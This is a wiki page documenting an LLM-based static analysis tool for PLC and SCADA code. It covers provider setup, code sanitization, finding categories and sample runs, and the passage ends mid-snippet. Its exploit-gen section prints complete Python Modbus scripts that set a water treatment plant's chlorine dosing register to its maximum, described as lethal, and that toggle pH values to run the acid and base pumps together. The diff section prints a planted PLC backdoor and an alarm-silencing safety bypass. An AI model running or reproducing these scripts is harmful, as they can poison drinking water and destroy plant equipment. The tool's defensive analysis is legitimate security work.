Skip to content

SAST LLM Analysis

André Henrique edited this page Jun 8, 2026 · 3 revisions

SAST / LLM Analysis

IXF includes an offline Static Application Security Testing (SAST) module powered by large language models. It analyzes PLC/RTU/SCADA source code for security vulnerabilities, unsafe setpoints, authentication gaps, hardcoded credentials, race conditions, and process-specific attack vectors — without unintentionally uploading sensitive code to external services (see sanitization section).

The SAST engine is designed specifically for industrial control system code, with domain-specific prompts that understand Ladder Diagram logic, Structured Text safety interlocks, Function Block Diagram dataflows, and IEC 61131-3 programming semantics.


Supported LLM Providers

IXF supports 5 LLM providers for SAST analysis:

Provider Model Env Variable Auth Method API URL
OpenAI gpt-4o OPENAI_API_KEY Bearer token (sk-...) https://api.openai.com/v1/chat/completions
Anthropic claude-3-5-sonnet-20241022 ANTHROPIC_API_KEY x-api-key header (sk-ant-...) https://api.anthropic.com/v1/messages
Google Gemini gemini-2.5-flash GOOGLE_AI_STUDIO_API_KEY Query parameter key=... (AIzaSy...) https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent
DeepSeek deepseek-chat DEEPSEEK_API_KEY Bearer token (sk-deepseek-...) https://api.deepseek.com/v1/chat/completions
Grok (xAI) grok-2-latest XAI_API_KEY Bearer token (xai-...) https://api.x.ai/v1/chat/completions

Provider selection priority: OpenAI → Anthropic → Gemini → DeepSeek → Grok

The first configured provider (in priority order) is selected. To use a non-default provider when multiple are configured, configure only that provider's API key.


Configuring an LLM Key

Option 1: Environment Variable (Recommended)

Set the environment variable before launching IXF. The key is read at startup and never written to disk by IXF itself.

# Google Gemini (free tier available)
export GOOGLE_AI_STUDIO_API_KEY=AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ixf

# OpenAI
export OPENAI_API_KEY=sk-svcacct-AbCdEfGhIjKlMnOpQrStUvWxYz0123456789
ixf

# Anthropic
export ANTHROPIC_API_KEY=sk-ant-api03-XXXXXXXXXXXXXXXXXXX
ixf

# DeepSeek
export DEEPSEEK_API_KEY=sk-deepseek-XXXXXXXXXXXXXXXXXXXXXXXXXX
ixf

# Grok (xAI)
export XAI_API_KEY=xai-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ixf

Option 2: llm-key Shell Command (In-Session Only)

The llm-key command stores the key in memory only for the current session. The key is never written to disk, history, or logs.

ixf > llm-key gemini AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=gemini len=39
[i] Key stored in-session only. Set GOOGLE_AI_STUDIO_API_KEY to persist.

ixf > llm-key openai sk-svcacct-AbCdEfGhIjKlMnOpQrStUvWxYz0123456789
[+] LLM key configured: provider=openai len=55

ixf > llm-key anthropic sk-ant-api03-XXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=anthropic len=40

ixf > llm-key deepseek sk-deepseek-XXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=deepseek len=37

ixf > llm-key grok xai-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=grok len=44

llm-status Full Output

ixf > llm-status

  LLM Provider Status
  ──────────────────────────────────────────────────────────────────────────
  Provider      Status           Model                    Source
  openai        configured       gpt-4o                   OPENAI_API_KEY (env)
  anthropic     not configured   claude-3-5-sonnet-...    (set ANTHROPIC_API_KEY)
  gemini        configured       gemini-2.5-flash         GOOGLE_AI_STUDIO_API_KEY (env)
  deepseek      not configured   deepseek-chat            (set DEEPSEEK_API_KEY)
  grok          not configured   grok-2-latest            (set XAI_API_KEY)
  ──────────────────────────────────────────────────────────────────────────
  Active provider: openai (gpt-4o)   [selected by priority: openai > anthropic > gemini > deepseek > grok]

  [i] To use gemini instead, unset OPENAI_API_KEY or configure only gemini
  [i] Token budget: 128K tokens (applies to all providers)
  [i] Sanitization: ALWAYS applied before sending code to LLM

Running SAST Analysis

ixf > sast <path> [--mode <mode>] [--diff <other_file>]
Argument Type Required Default Description
path string yes PLC source file or project directory
--mode string no sast Analysis mode: sast, reverse, diff, exploit-gen
--diff string no Second file/directory for diff mode

Supported File Extensions

Extension Language/Format Common Usage
.st Structured Text (IEC 61131-3) Beckhoff TwinCAT, Siemens TIA Portal, CODESYS
.fbd Function Block Diagram CODESYS, Phoenix Contact, Rockwell
.ladder / .ld Ladder Diagram Rockwell Studio 5000, Allen-Bradley
.il Instruction List (IEC 61131-3) Legacy PLCs, Schneider Modicon
.sfc Sequential Function Chart Batch processes, machine sequences
.cfc Continuous Function Chart Siemens TIA Portal advanced
.xml XML-exported PLC projects CODESYS XML export, TwinCAT AML export
.aml AutomationML IEC 62424 plant topology
.py Python ICS automation scripts, OPC UA clients
.c C Embedded RTU firmware, Modbus handlers
.cpp C++ Embedded controllers, Beckhoff C++ runtime
.go Go Modern ICS tooling (FrostyGoop-style)
.js JavaScript Node-RED ICS flows, IIoT scripts
.rb Ruby Legacy ICS automation scripts
.pl Perl Legacy SCADA automation
.java Java Java-based HMI applications

Code Sanitization

Before any code is sent to the LLM, IXF applies a multi-pass sanitization pipeline. This prevents leaking sensitive operational data to cloud APIs.

Sanitization is always applied — it cannot be disabled.

All 7 Sanitization Types

Type Pattern Replacement Example Before Example After
1. IPv4 Addresses \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b [IP_REDACTED] 192.168.1.100 [IP_REDACTED]
2. Passwords in strings password\s*[:=]\s*['"]?\w+ password: [REDACTED] password = "Passw0rd!" password: [REDACTED]
3. Usernames (user|username)\s*[:=]\s*['"]?\w+ username: [REDACTED] user = "admin" username: [REDACTED]
4. Connection strings Server=.*;Database=.* [CONN_STRING_REDACTED] Server=10.1.1.5;Database=historian [CONN_STRING_REDACTED]
5. API keys / tokens (api_key|apikey|token)\s*[:=]\s*\S+ api_key: [REDACTED] api_key = "a1b2c3d4" api_key: [REDACTED]
6. OPC UA endpoints opc\.tcp://[^\s'"]+ opc.tcp://[ENDPOINT_REDACTED] opc.tcp://10.0.0.5:4840/UA/Server opc.tcp://[ENDPOINT_REDACTED]
7. Hardcoded hashes [0-9a-fA-F]{32,} [HASH_REDACTED] MD5="d41d8cd98f00b204e9800998ecf8427e" MD5=[HASH_REDACTED]

Sanitization in Action

Before sanitization (original file):

(* Water Treatment Controller v2.1 *)
PROGRAM WaterTreatment
  VAR
    historian_ip : STRING := '192.168.10.50';
    historian_user : STRING := 'admin';
    historian_pass : STRING := 'Sup3rS3cr3t!';
    opcua_endpoint : STRING := 'opc.tcp://10.0.1.5:4840/WINCC/ServerInterface';
    db_conn : STRING := 'Server=10.0.1.10;Database=historian;User=sa;Pwd=Admin123';
  END_VAR

After sanitization (sent to LLM):

(* Water Treatment Controller v2.1 *)
PROGRAM WaterTreatment
  VAR
    historian_ip : STRING := '[IP_REDACTED]';
    historian_user : STRING := 'username: [REDACTED]';
    historian_pass : STRING := 'password: [REDACTED]';
    opcua_endpoint : STRING := 'opc.tcp://[ENDPOINT_REDACTED]';
    db_conn : STRING := '[CONN_STRING_REDACTED]';
  END_VAR

Terminal confirmation:

[*] Sanitizing code... Removed: 3 credential(s), 2 IP address(es), 1 OPC UA endpoint, 1 connection string
[*] Sending 4.2 KB to LLM (sanitized)...

Token Budget

The SAST engine respects token limits to control cost and API compatibility:

Provider Max Tokens (Request) Behavior on Exceed
OpenAI (gpt-4o) 128K Warning + automatic truncation
Anthropic (claude-3-5-sonnet) 200K Warning + automatic truncation
Gemini (gemini-2.5-flash) 1M Warning only (very large context)
DeepSeek (deepseek-chat) 64K Warning + truncation
Grok (grok-2-latest) 128K Warning + truncation

Token budget warning:

[!] Code size 145K tokens exceeds provider limit (128K for openai).
[!] Truncating to 128K tokens. Large files may receive incomplete analysis.
[i] Tip: Analyze individual files instead of the full directory.
[i] Or switch to gemini: llm-key gemini AIzaSy... (1M token limit)

Token count output:

[*] Token count: 9.7 KB ≈ 2,400 tokens (well within 128K budget)

8 Analysis Categories

SAST mode performs analysis across 8 security categories:

Category 1: Setpoint Safety Validation

Checks for missing or insufficient validation on process setpoints (temperature, pressure, flow rate, chemical dosing). A missing validation allows an attacker writing to Modbus/OPC UA registers to set physically dangerous values.

Example finding:

FINDING [SEVERITY: CRITICAL]: Unvalidated Pressure Setpoint
  Location: compressor.st, line 34
  Code:     MAX_PRESSURE := MW100;  (* HR[50] written directly *)
  Issue:    No upper bound validation on MW100 (Modbus HR[50])
  Attack:   Modbus FC16 write to HR[50] with value 65535 → catastrophic overpressure
  Physical: Gas compressor runaway, explosion risk
  Fix:      MAX_PRESSURE := MIN(MW100, 150.0);  (* Max 150 PSI hardware safe limit *)
            IF MAX_PRESSURE > HARDWARE_SAFE_LIMIT THEN EMERGENCY_STOP := TRUE; END_IF

Category 2: Authentication and Access Control

Checks for missing authentication on programming ports, unauthenticated SCADA endpoints, hardcoded credentials in code.

Example finding:

FINDING [SEVERITY: HIGH]: Programming Port Without Authentication
  Location: network_config.il, line 7
  Code:     LD PROGRAMMING_PORT_ENABLED
            ST TRUE  (* No authentication check *)
  Issue:    PLC programming interface enabled without requiring authentication
  Attack:   T0843 (Program Download) — any host can download modified PLC program
  Fix:      Add authentication check: IF ENGINEER_AUTHENTICATED THEN PROG_ENABLE := TRUE

Category 3: Logic Race Conditions

Checks for timing-dependent logic that can lead to unsafe states. Common in ladder diagram programs with shared variables read across multiple scan cycles.

Example finding:

FINDING [SEVERITY: HIGH]: Race Condition in Chemical Dosing
  Location: chemical_dosing.st, lines 45-52
  Code:     (* Cycle 1: *) IF pH < 6.0 THEN ACID_PUMP := TRUE; END_IF
            (* Cycle 2: *) IF pH > 8.0 THEN BASE_PUMP := TRUE; END_IF
  Issue:    pH sensor read happens asynchronously between cycles.
            Both pumps can be TRUE simultaneously during rapid pH oscillation.
  Physical: pH < 2 or pH > 12 — severely corrosive water — infrastructure damage
  Fix:      Add mutex: IF ACID_PUMP THEN BASE_PUMP := FALSE; END_IF
            Or use atomic pH read with single decision point per scan

Category 4: Missing Safety Interlocks

Checks for missing hardware/software interlocks that should prevent dangerous states. Often found when safety logic is commented out during maintenance and never restored.

Example finding:

FINDING [SEVERITY: CRITICAL]: Safety Interlock Disabled
  Location: reactor.st, line 88
  Code:     (* TEMP_INTERLOCK := TRUE; *)  (* TODO: re-enable after maintenance *)
            HEATER_ENABLE := TRUE;  (* Heater can run without temperature limit *)
  Issue:    Temperature interlock commented out — heater runs without safety limit
  Physical: Thermal runaway → reactor vessel overpressure → catastrophic failure
  Fix:      Restore: TEMP_INTERLOCK := (REACTOR_TEMP < MAX_SAFE_TEMP);
            HEATER_ENABLE := HEATER_REQUEST AND TEMP_INTERLOCK;
            Add CI check to prevent committed commented-out safety code

Category 5: Hardcoded Credentials and Secrets

Identifies hardcoded passwords, API keys, connection strings, and authentication tokens in PLC code. (Reported in sanitized form — actual values not included in report.)

Example finding:

FINDING [SEVERITY: MEDIUM]: Hardcoded Database Credentials
  Location: historian_connector.st, line 12
  Code:     [CONN_STRING_REDACTED]  (* Original had hardcoded username and password *)
  Issue:    Database connection uses hardcoded credentials in PLC source code
  Risk:     Version control exposure; insider threat; supply chain compromise
  Fix:      Use credential vault (CyberArk, HashiCorp Vault, or environment variables)
            Implement certificate-based authentication for historian connection

Category 6: Network Exposure and Protocol Security

Reviews network configuration code for insecure protocol usage, missing TLS, exposed management ports, unauthenticated remote access.

Example finding:

FINDING [SEVERITY: HIGH]: Unencrypted OPC UA Session
  Location: opcua_client.py, line 23
  Code:     client = Client("opc.tcp://[ENDPOINT_REDACTED]")
            client.set_security_policy(SecurityPolicyType.None_)  # No security
  Issue:    OPC UA session with SecurityMode=None — all data in plaintext
  Attack:   T0830 (Adversary-in-the-Middle) — intercept tag reads/writes
  Fix:      Use SecurityPolicy.Basic256Sha256 with certificate-based authentication:
            await client.set_security(
                SecurityPolicyType.Basic256Sha256,
                certificate_path, private_key_path
            )

Category 7: Physical Process Impact Assessment

Analyzes the physical implications of identified vulnerabilities. Provides context on real-world consequences specific to the process type detected (power generation, water treatment, chemical processing, etc.).

Example finding:

FINDING [CONTEXT: CATASTROPHIC POTENTIAL]: Process Type — Water Treatment
  Location: water_treatment.st (full program analysis)
  Physical Process: Drinking water treatment for municipal supply
  Identified Attack Surface:
    - Chlorine dosing setpoint: unvalidated (CRITICAL — can cause lethal dosing)
    - pH neutralization: race condition (HIGH — corrosive water potential)
    - Turbidity monitoring: sensor bypass possible (MEDIUM — pathogen passage)
  Aggregate Physical Impact Assessment:
    Exploiting CRITICAL + HIGH findings together:
    → Lethally chlorinated water delivered to population (>2000x WHO limit)
    → pH excursion makes chlorine ineffective simultaneously
    → Mass casualty potential if delivered to distribution network
  MITRE: T0836, T0831, T0878, T0837 (Loss of Safety)

Category 8: Code Quality and Maintainability Security

Identifies patterns that make security vulnerabilities more likely: dead code, TODO/FIXME comments related to security, magic numbers, missing comments on safety-critical blocks.

Example finding:

FINDING [SEVERITY: LOW]: Security-Relevant TODO Comment
  Location: safety_plc.st, line 156
  Code:     (* TODO: add auth check before EMERGENCY_OVERRIDE *)
            IF EMERGENCY_OVERRIDE THEN
              INHIBIT_ALL_ALARMS := TRUE;  (* Suppresses all safety alarms *)
              SAFETY_SIL2_BYPASS := TRUE;
            END_IF
  Issue:    Safety bypass without authentication check — acknowledged as missing in code
  Risk:     Any operator (or attacker) can trigger emergency override without MFA
  Fix:      Add authentication: IF EMERGENCY_OVERRIDE AND SUPERVISOR_AUTH THEN ...

Analysis Modes — Complete Reference

--mode sast (Default) — Full Vulnerability Analysis

ixf > sast /opt/plc_projects/water_treatment/ --mode sast
[*] Target: /opt/plc_projects/water_treatment/ (5 files, 245 lines)
[*] Languages: ST (3 files, 187 lines), FBD (1 file, 38 lines), IL (1 file, 20 lines)
[*] Provider: gemini (gemini-2.5-flash)
[*] Sanitizing... Removed: 2 credential(s), 1 public IP
[*] Token count: 9.7 KB ≈ 2,400 tokens
[*] Sending sanitized code to LLM...
[*] Analysis complete (elapsed: 8.2s)

  SAST VULNERABILITY ANALYSIS REPORT
  ═══════════════════════════════════════════════════════════════════════

  Target:   /opt/plc_projects/water_treatment/
  Files:    5 | Lines: 245
  Provider: gemini-2.5-flash
  Date:     2026-06-01 20:15:43

  ┌─────────────────────────────────────────────────────────────────────┐
  │  FINDINGS SUMMARY: 1 CRITICAL | 2 HIGH | 1 MEDIUM | 1 LOW | 1 INFO │
  └─────────────────────────────────────────────────────────────────────┘

  ════════════════════════════════════════════════════════════════════════
  FINDING 1 [SEVERITY: CRITICAL]
  ════════════════════════════════════════════════════════════════════════
  Title:        Unvalidated Chlorine Dosing Setpoint
  Location:     water_treatment.st, line 48
  Category:     Setpoint Safety Validation (Category 1)
  Type:         Input Validation Flaw / Unsafe Setpoint
  Code:
    SP_CHLORINE_HIGH := 4000.0;  (* TODO: validate this value *)
    DOSE_FACTOR := MW_DOSE_FACTOR;  (* HR[200] — no range check *)
  Attack Vector: Modbus FC16 write to HR[200] (DOSE_FACTOR) — no authentication required
  Physical Impact: Setting DOSE_FACTOR to max (65535) → ~4000 mg/L chlorine
                   WHO safe limit: 2.0 mg/L | Lethal threshold (infants): ~5 mg/L
                   CATASTROPHIC potential — mass casualty if distributed
  MITRE ATT&CK for ICS: T0836 (Modify Parameter), T0878 (Alarm Suppression)
  Exploit PoC:   modbus_write_register(unit=1, address=200, value=65535)
  Remediation:
    DOSE_FACTOR := MW_DOSE_FACTOR;
    IF DOSE_FACTOR > 2.0 THEN
      DOSE_FACTOR := 2.0;
      ALARM_SETPOINT_OVERRIDE := TRUE;
      LOG('DOSE_FACTOR clamped: attempted value ', MW_DOSE_FACTOR);
    END_IF
    (* Add hardware interlock: analog output ≤ 2.0 enforced in field instrument *)
  References:   WHO Water Quality Guidelines (2022); ICS-CERT Alert ICS-ALERT-21-209-01
  Residual Risk: Hardware interlock recommended even after software fix

  ════════════════════════════════════════════════════════════════════════
  FINDING 2 [SEVERITY: HIGH]
  ════════════════════════════════════════════════════════════════════════
  Title:        Race Condition in pH Dosing Logic
  Location:     water_treatment.st, lines 65-71
  Category:     Logic Race Condition (Category 3)
  Code:
    IF pH_SENSOR < 6.0 THEN ACID_PUMP := TRUE; END_IF
    IF pH_SENSOR > 8.0 THEN BASE_PUMP := TRUE; END_IF
  Issue:        pH sensor value can change between the two IF evaluations in a single
                scan cycle (interrupt-driven ADC update). Both pumps active simultaneously.
  Physical:     pH <2 or pH >12 — severely corrosive water
  MITRE:        T0831 (Manipulation of Control)
  Remediation:  Cache sensor at scan start; add mutual exclusion
    pH_CACHED := pH_SENSOR;
    IF pH_CACHED < 6.0 THEN ACID_PUMP := TRUE; BASE_PUMP := FALSE;
    ELSIF pH_CACHED > 8.0 THEN BASE_PUMP := TRUE; ACID_PUMP := FALSE;
    ELSE ACID_PUMP := FALSE; BASE_PUMP := FALSE;
    END_IF

  ════════════════════════════════════════════════════════════════════════
  FINDING 3 [SEVERITY: HIGH]
  ════════════════════════════════════════════════════════════════════════
  Title:        Unauthenticated PLC Programming Interface
  Location:     network_config.st, line 12
  Category:     Authentication and Access Control (Category 2)
  Code:         PROGRAMMING_PORT := 502; (* dev mode — auth not implemented *)
  Issue:        Any host on the OT network can download a modified PLC program
  MITRE:        T0843 (Program Download)
  Remediation:  Disable port in production; require engineering station certificate

  ════════════════════════════════════════════════════════════════════════
  FINDING 4 [SEVERITY: MEDIUM]
  ════════════════════════════════════════════════════════════════════════
  Title:        Hardcoded Database Credentials
  Location:     historian_connector.st, line 8
  Category:     Hardcoded Credentials (Category 5)
  Code:         [CONN_STRING_REDACTED] (sanitized — original contained credentials)
  Issue:        Historian connection string with hardcoded credentials
  Remediation:  Use vault or environment-based credential injection

  ════════════════════════════════════════════════════════════════════════
  FINDING 5 [SEVERITY: LOW]
  ════════════════════════════════════════════════════════════════════════
  Title:        Missing Watchdog Timer
  Location:     main.st (entire program)
  Category:     Missing Safety Interlocks (Category 4)
  Issue:        No watchdog timer configured — PLC could hang indefinitely
  Remediation:  WDT_Enable := TRUE; WDT_Timeout := 500; (* 500ms scan watchdog *)

  ════════════════════════════════════════════════════════════════════════
  FINDING 6 [INFO: Physical Process Context]
  ════════════════════════════════════════════════════════════════════════
  Title:        Process Type Identified — Municipal Water Treatment
  Assessment:   High-value target. All findings above have elevated real-world consequence
                compared to equivalent vulnerabilities in non-critical processes.
                Aggregate exploitation of CRITICAL + HIGH findings creates mass casualty potential.

  ═══════════════════════════════════════════════════════════════════════
  MITRE TECHNIQUES IDENTIFIED: T0836, T0831, T0843, T0878, T0837
  OVERALL RISK: CRITICAL
  ═══════════════════════════════════════════════════════════════════════

[+] SAST report saved: .tmp/sast_results/water_treatment_20260601_201543.md

--mode reverse — Reverse Engineering Analysis

Analyzes binary or opaque compiled PLC firmware to extract logic, identify behavior patterns, and flag security concerns.

ixf > sast /opt/plc_dumps/plc_firmware_v3.2.bin --mode reverse
[*] Target: /opt/plc_dumps/plc_firmware_v3.2.bin (binary, 847 KB)
[*] Provider: gemini (gemini-2.5-flash)
[*] Mode: reverse — LLM-assisted binary/firmware analysis
[*] Extracting readable strings and structure markers...
[*] Sanitizing extracted content...
[*] Sending to LLM for reverse analysis...

  REVERSE ENGINEERING ANALYSIS REPORT
  ═══════════════════════════════════════════════════════════════

  Target:   plc_firmware_v3.2.bin (847 KB)
  Mode:     Reverse Engineering

  ─────────────────────────────────────────────────────────────
  IDENTIFIED SECTIONS:
  ─────────────────────────────────────────────────────────────
  Offset 0x0000-0x03FF : Boot header (VxWorks 6.9 signature)
  Offset 0x0400-0x1FFF : Configuration strings
  Offset 0x2000-0x8FFF : Runtime code (ARM Thumb-2 instructions)
  Offset 0x9000-0xFFFF : Data/constant section

  ─────────────────────────────────────────────────────────────
  EXTRACTED INDICATORS:
  ─────────────────────────────────────────────────────────────
  String match: "password" (offset 0x1A44) — potential hardcoded credential
  String match: "192.168.[IP_REDACTED]" (3 occurrences) — hardcoded IPs found
  String match: "ADMIN_OVERRIDE=1" — undocumented override flag
  String match: "DEBUG_MODBUS_PASSTHROUGH" — debug mode not removed from production FW
  Function name (symbol table): "auth_bypass_legacy()" — suspicious function name
  Modbus handler: FC16 write — no bounds checking on value range (assembly analysis)

  ─────────────────────────────────────────────────────────────
  SECURITY FINDINGS:
  ─────────────────────────────────────────────────────────────
  FINDING [SEVERITY: CRITICAL]: Undocumented Admin Override Flag
    Evidence: "ADMIN_OVERRIDE=1" in configuration section
    Risk: May allow unauthenticated administrative access
    Action: Request source code review from vendor; apply vendor patch

  FINDING [SEVERITY: HIGH]: Debug Mode Not Removed
    Evidence: "DEBUG_MODBUS_PASSTHROUGH" function present
    Risk: Debug Modbus passthrough may bypass authentication in production
    Action: Contact vendor for non-debug firmware build

  FINDING [SEVERITY: HIGH]: Suspicious Function: auth_bypass_legacy()
    Evidence: Symbol table entry; called from authentication handler
    Risk: Legacy authentication bypass potentially left in production code
    Action: Penetration test authentication flow; request source from vendor

  FINDING [SEVERITY: MEDIUM]: Hardcoded IP Addresses (3 occurrences)
    Evidence: IP addresses embedded in firmware (redacted in this report)
    Risk: Hardcoded IPs complicate network reconfiguration; may be C2 addresses
    Action: Compare with known legitimate management IPs; verify with vendor

--mode diff — Code Change Detection

Compares two versions of PLC code to detect unauthorized modifications — a key use case for detecting supply chain attacks, insider threats, and Stuxnet/Triton-style targeted modifications.

ixf > sast /backup/plc_v1.st --mode diff --diff /current/plc_v2.st
[*] Diff analysis: /backup/plc_v1.st vs /current/plc_v2.st
[*] Provider: gemini
[*] Computing structural diff...
[*] Sending diff + context to LLM...

  PLC CODE CHANGE SECURITY ANALYSIS
  ═══════════════════════════════════════════════════════════════

  File A (reference): /backup/plc_v1.st (saved: 2026-05-01)
  File B (current):   /current/plc_v2.st (modified: 2026-05-28)
  Total changes: 4 sections modified, 2 sections added, 0 deleted

  ─────────────────────────────────────────────────────────────
  CHANGE 1: AUTHORIZED — Routine maintenance
  ─────────────────────────────────────────────────────────────
  Location: Lines 12-15 (header comment)
  Change: Version comment updated from "v1.0" to "v1.1"
  Assessment: BENIGN — version tracking only

  ─────────────────────────────────────────────────────────────
  CHANGE 2: SUSPICIOUS — Requires investigation
  ─────────────────────────────────────────────────────────────
  Location: Lines 47-53 (safety interlock block)
  Version A (before):
    IF PRESSURE > MAX_PRESSURE THEN
      SAFETY_VALVE := TRUE;   (* Opens relief valve *)
      EMERGENCY_STOP := TRUE; (* Stops process *)
      ALARM := TRUE;          (* Alerts operator *)
    END_IF

  Version B (after — CURRENT):
    IF PRESSURE > MAX_PRESSURE THEN
      (* SAFETY_VALVE := TRUE; *)   (* — commented out 2026-05-28 *)
      FAKE_PRESSURE := 45.0;        (* spoofed to hide overpressure *)
      EMERGENCY_STOP := FALSE;      (* stop prevented *)
      ALARM := FALSE;               (* alarm silenced *)
    END_IF

  Assessment: [SEVERITY: CRITICAL] UNAUTHORIZED MODIFICATION DETECTED
  Analysis:   Safety valve disabled. Pressure reading spoofed to 45 PSI
              (hiding real overpressure). Emergency stop prevented.
              Alarm suppressed. Classic Triton/Industroyer2-style safety system bypass.
              Physical consequence: uncontrolled overpressure → catastrophic failure.
  MITRE:      T0838 (Modify Alarm Settings), T0836 (Modify Parameter),
              T0829 (Loss of Protection), T0837 (Loss of Safety)
  Action:     IMMEDIATE ROLLBACK to version A. Investigate access logs for 2026-05-28.
              Preserve evidence. Notify CISO and ICS-CERT if critical infrastructure.

  ─────────────────────────────────────────────────────────────
  CHANGE 3: UNAUTHORIZED — Command and control addition
  ─────────────────────────────────────────────────────────────
  Location: Lines 89-95 (new block added)
  Version A: (section did not exist)
  Version B:
    (* Maintenance backdoor — remove before production *)
    IF HIDDEN_TRIGGER = 0xDEAD THEN
      COIL_REMOTE_ENABLE := TRUE;  (* allows remote coil control *)
      MODBUS_AUTH_BYPASS := TRUE;  (* disables Modbus auth *)
    END_IF
  Assessment: [SEVERITY: CRITICAL] BACKDOOR DETECTED
  Analysis:   Magic value (0xDEAD) triggers remote control bypass.
              Comment "remove before production" was not removed — deliberate.
  MITRE:      T0859 (Valid Accounts bypass), T0836

  ─────────────────────────────────────────────────────────────
  CHANGE 4: BENIGN — Parameter update
  ─────────────────────────────────────────────────────────────
  Location: Lines 34-35
  Change: PUMP_SPEED_MAX from 3000 to 3100 RPM
  Assessment: Likely authorized maintenance change — verify with change log

  ─────────────────────────────────────────────────────────────
  OVERALL ASSESSMENT: CRITICAL — 2 unauthorized modifications detected
  ─────────────────────────────────────────────────────────────
  Action: Immediate rollback to /backup/plc_v1.st
          Preserve both files for forensic analysis
          Investigate access control to PLC programming station
          Report to CISO and consider ICS-CERT notification

[+] Diff report saved: .tmp/sast_results/plc_diff_20260601_202800.md

--mode exploit-gen — Exploit Generation

Generates proof-of-concept exploit code based on SAST findings. For authorized penetration testing.

ixf > sast /opt/plc_projects/water_treatment/water_treatment.st --mode exploit-gen
[*] Analyzing for exploit generation potential...
[*] Provider: gemini
[*] Running SAST pass first...
[*] Generating PoC exploit for top findings...

  EXPLOIT GENERATION REPORT
  ═══════════════════════════════════════════════════════════════

  Source: water_treatment.st
  Findings used: CRITICAL (Chlorine Dosing Setpoint), HIGH (Race Condition)

  ════════════════════════════════════════════════════════════════
  EXPLOIT 1 — CRITICAL Finding: Chlorine Dosing Attack
  ════════════════════════════════════════════════════════════════

  Description: Writes maximum dosing value to HR[200] (DOSE_FACTOR) via unauthenticated
               Modbus TCP to cause catastrophic chlorine overdose
  Language:    Python (pymodbus)
  Impact:      CATASTROPHIC — mass casualty potential

  Generated PoC:
  ─────────────────────────────────────────────────────────────────
  #!/usr/bin/env python3
  """
  Water Treatment Chlorine Dosing PoC
  Finding: Unvalidated setpoint HR[200] (DOSE_FACTOR)
  MITRE: T0836 (Modify Parameter)
  AUTHORIZED PENETRATION TESTING ONLY
  """
  from pymodbus.client import ModbusTcpClient
  import sys

  TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
  PORT = 502
  UNIT_ID = 1
  DOSE_REGISTER = 200  # HR[200] = DOSE_FACTOR (maps to SP_CHLORINE_HIGH)
  ATTACK_VALUE = 65535  # Maximum register value → ~4000 mg/L

  print(f"[*] Connecting to {TARGET}:{PORT}...")
  client = ModbusTcpClient(TARGET, port=PORT)
  if not client.connect():
      print(f"[-] Connection failed")
      sys.exit(1)
  print(f"[+] Connected")

  # Read original value first (for restoration)
  original = client.read_holding_registers(DOSE_REGISTER, count=1, unit=UNIT_ID)
  if not original.isError():
      print(f"[i] Original DOSE_FACTOR: {original.registers[0]}")

  # Write attack value
  result = client.write_registers(DOSE_REGISTER, [ATTACK_VALUE], unit=UNIT_ID)
  if not result.isError():
      print(f"[+] DOSE_FACTOR set to {ATTACK_VALUE} on {TARGET}:{PORT}")
      print(f"[!] Estimated chlorine dose: ~{ATTACK_VALUE * 0.061:.1f} mg/L")
      print(f"[!] WHO limit: 2.0 mg/L | Lethal: ~5 mg/L for infants")
  else:
      print(f"[-] Write failed: {result}")

  # Restore original
  input("[*] Press Enter to restore original value (ALWAYS restore after testing)...")
  if not original.isError():
      client.write_registers(DOSE_REGISTER, [original.registers[0]], unit=UNIT_ID)
      print(f"[+] Original value restored: {original.registers[0]}")

  client.close()
  ─────────────────────────────────────────────────────────────────

  ════════════════════════════════════════════════════════════════
  EXPLOIT 2 — HIGH Finding: pH Race Condition Trigger
  ════════════════════════════════════════════════════════════════

  Description: Rapidly toggles pH sensor readings to trigger both acid and base pump
               simultaneously during race condition window
  Language:    Python (pymodbus)
  Impact:      HIGH — corrosive water production

  Generated PoC:
  ─────────────────────────────────────────────────────────────────
  #!/usr/bin/env python3
  """Rapid pH toggling to trigger race condition"""
  from pymodbus.client import ModbusTcpClient
  import time

  TARGET = "192.168.1.100"
  PORT = 502
  PH_REGISTER = 150  # HR[150] = pH sensor input register (analog input)

  client = ModbusTcpClient(TARGET, port=PORT)
  client.connect()

  print("[*] Starting pH toggle attack (race condition exploitation)...")
  for i in range(20):
      # Toggle between acid-triggering and base-triggering pH values
      # within a single PLC scan cycle timeframe
      client.write_registers(150, [500], unit=1)   # pH 5.0 → triggers ACID_PUMP
      time.sleep(0.005)                              # 5ms — within scan cycle
      client.write_registers(150, [850], unit=1)   # pH 8.5 → triggers BASE_PUMP
      time.sleep(0.005)
      print(f"[*] Iteration {i+1}/20 — both pumps may be active simultaneously")

  client.close()
  ─────────────────────────────────────────────────────────────────

  [!] All exploit PoCs are for authorized penetration testing only.
  [i] MITRE: T0836, T0831 | Physical Impact: CATASTROPHIC / HIGH
  [+] Exploit report saved: .tmp/sast_results/water_treatment_exploits_20260601.md

Finding Format Template

Every SAST finding includes the following fields:

FINDING [SEVERITY: <CRITICAL|HIGH|MEDIUM|LOW|INFO>]
  Title:        Short, descriptive finding name
  Location:     Filename, line number(s)
  Category:     One of 8 analysis categories
  Type:         Specific vulnerability type
  Code:         Relevant code snippet (sanitized if credentials present)
  Issue:        Explanation of why this is a security problem
  Attack Vector: How an attacker would exploit this (protocol, register, method)
  Physical Impact: Real-world consequence to the controlled process
  MITRE ATT&CK for ICS: Technique IDs and names
  Exploit PoC:  Short exploit demonstration (for CRITICAL and HIGH only)
  Remediation:  Specific, actionable code fix
  References:   Standards, CVE references, vendor advisories
  Residual Risk: Any remaining risk after remediation

Running SAST from the Python API

import asyncio
from industrialxpl.core.sast.llm_provider import LLMProvider
from industrialxpl.core.sast.plc_parsers import load_plc_files, sanitize_code
from industrialxpl.core.sast.prompts import build_sast_prompt

async def run_sast_analysis(file_path: str, provider: str = "gemini") -> str:
    """Run SAST analysis on a PLC source file."""
    # Load and sanitize
    code = load_plc_files(file_path)
    sanitized, redactions = sanitize_code(code)
